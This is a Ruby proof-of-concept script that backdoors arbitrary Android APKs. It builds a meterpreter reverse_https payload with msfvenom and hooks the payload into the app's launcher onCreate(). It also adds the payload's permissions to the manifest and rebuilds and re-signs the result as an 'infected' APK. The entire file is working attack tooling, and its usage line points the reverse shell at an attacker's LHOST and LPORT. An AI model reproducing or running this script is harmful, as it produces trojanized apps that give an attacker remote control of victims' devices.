#!/usr/bin/env ruby
# apk_backdoor.rb
# This script is a POC for injecting metasploit payloads on
# arbitrary APKs.
# Authored by timwr, Jack64
#


require 'nokogiri'
require 'fileutils'
require 'optparse'

# Find the activity thatapk_backdoor.rb  is opened when you click the app icon
def findlauncheractivity(amanifest)
    package = amanifest.xpath("//manifest").first['package']
    activities = amanifest.xpath("//activity|//activity-alias")
    for activity in activities
        activityname = activity.attribute("name")
        category = activity.search('category')
        unless category
            next
        end
        for cat in category
            categoryname = cat.attribute('name')
            if (categoryname.to_s == 'android.intent.category.LAUNCHER' || categoryname.to_s == 'android.intent.action.MAIN')
                activityname = activityname.to_s
                unless activityname.start_with?(package)
                    activityname = package + activityname
                end
                return activityname
            end
        end
    end
end

# If XML parsing of the manifest fails, recursively search
# the smali code for the onCreate() hook and let the user
# pick the injection point
def scrapeFilesForLauncherActivity()
	smali_files||=[]
	Dir.glob('original/smali*/**/*.smali') do |file|
	  checkFile=File.read(file)
	  if (checkFile.include?";->onCreate(Landroid/os/Bundle;)V")
		smali_files << file
		smalifile = file
		activitysmali = checkFile
	  end
	end
	i=0
	print "[*] Please choose from one of the following:\n"
	smali_files.each{|s_file|
		print "[+] Hook point ",i,": ",s_file,"\n"
		i+=1
	}
	hook=-1
	while (hook < 0 || hook>i)
		print "\nHook: "
		hook = STDIN.gets.chomp.to_i
	end
	i=0
	smalifile=""
	activitysmali=""
	smali_files.each{|s_file|
		if (i==hook)
			checkFile=File.read(s_file)
			smalifile=s_file
			activitysmali = checkFile
			break
		end
		i+=1
	}
	return [smalifile,activitysmali]
end

def fix_manifest()
	payload_permissions=[]

	#Load payload's permissions
	File.open("payload/AndroidManifest.xml","r"){|file|
		k=File.read(file)
		payload_manifest=Nokogiri::XML(k)
		permissions = payload_manifest.xpath("//manifest/uses-permission")
		for permission in permissions
			name=permission.attribute("name")
			payload_permissions << name.to_s
		end
	#	print "#{k}"
	}
	original_permissions=[]
	apk_mani=''

	#Load original apk's permissions
	File.open("original/AndroidManifest.xml","r"){|file2|
		k=File.read(file2)
		apk_mani=k
		original_manifest=Nokogiri::XML(k)
		permissions = original_manifest.xpath("//manifest/uses-permission")
		for permission in permissions
			name=permission.attribute("name")
			original_permissions << name.to_s
		end
	#	print "#{k}"
	}
	#Get permissions that are not in original APK
	add_permissions=[]
	for permission in payload_permissions
		if !(original_permissions.include? permission)
			print "[*] Adding #{permission}\n"
			add_permissions << permission
		end
	end
	inject=0
	new_mani=""
	#Inject permissions in original APK's manifest
	for line in apk_mani.split("\n")
		if (line.include? "uses-permission" and inject==0)
			for permission in add_permissions
				new_mani << '<uses-permission android:name="'+permission+'"/>'+"\n"
			end
			new_mani << line+"\n"
			inject=1
		else
			new_mani << line+"\n"
		end
	end
	File.open("original/AndroidManifest.xml", "w") {|file| file.puts new_mani }
end

apkfile = ARGV[0]
unless(apkfile && File.readable?(apkfile))
	puts "Usage: #{$0} [target.apk] [msfvenom options]\n"
	puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443"
	exit(1)
end

jarsigner = `which jarsigner`
unless(jarsigner && jarsigner.length > 0)
	puts "No jarsigner"
	exit(1)
end

apktool = `which apktool`
unless(apktool && apktool.length > 0)
	puts "No apktool"
	exit(1)
end

apk_v=`apktool`
unless(apk_v.split()[1].include?("v2."))
	puts "[-] Apktool version #{apk_v} not supported, please download the latest 2. version from git.\n"
	exit(1)
end

begin
	msfvenom_opts = ARGV[1,ARGV.length]
	opts=""
	msfvenom_opts.each{|x|
	opts+=x
	opts+=" "
	}
rescue
	puts "Usage: #{$0} [target.apk] [msfvenom options]\n"
	puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443"
	puts "[-] Error parsing msfvenom options. Exiting.\n"
	exit(1)
end



print "[*] Generating msfvenom payload..\n"
res=`msfvenom -f raw #{opts} -o payload.apk 2>&1`
if res.downcase.include?("invalid" || "error")
	puts res
	exit(1)
end

print "[*] Signing payload..\n"
`jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA payload.apk androiddebugkey`

`rm -rf original`
`rm -rf payload`

`cp #{apkfile} original.apk`

print "[*] Decompiling orignal APK..\n"
`apktool d $(pwd)/original.apk -o $(pwd)/original`
print "[*] Decompiling payload APK..\n"
`apktool d $(pwd)/payload.apk -o $(pwd)/payload`

f = File.open("original/AndroidManifest.xml")
amanifest = Nokogiri::XML(f)
f.close

print "[*] Locating onCreate() hook..\n"


launcheractivity = findlauncheractivity(amanifest)
smalifile = 'original/smali/' + launcheractivity.gsub(/\./, "/") + '.smali'
begin
	activitysmali = File.read(smalifile)
rescue Errno::ENOENT
	print "[!] Unable to find correct hook automatically\n"
	begin
		results=scrapeFilesForLauncherActivity()
		smalifile=results[0]
		activitysmali=results[1]
	rescue
		puts "[-] Error finding launcher activity. Exiting"
		exit(1)
	end
end

print "[*] Copying payload files..\n"
FileUtils.mkdir_p('original/smali/com/metasploit/stage/')
FileUtils.cp Dir.glob('payload/smali/com/metasploit/stage/Payload*.smali'), 'original/smali/com/metasploit/stage/'
activitycreate = ';->onCreate(Landroid/os/Bundle;)V'
payloadhook = activitycreate + "\n    invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V"
hookedsmali = activitysmali.gsub(activitycreate, payloadhook)
print "[*] Loading ",smalifile," and injecting payload..\n"
File.open(smalifile, "w") {|file| file.puts hookedsmali }
injected_apk=apkfile.split(".")[0]
injected_apk+="_backdoored.apk"

print "[*] Poisoning the manifest with meterpreter permissions..\n"
fix_manifest()

print "[*] Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}..\n"
`apktool b -o $(pwd)/#{injected_apk} $(pwd)/original`
print "[*] Signing #{injected_apk} ..\n"
`jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey`

puts "[+] Infected file #{injected_apk} ready.\n"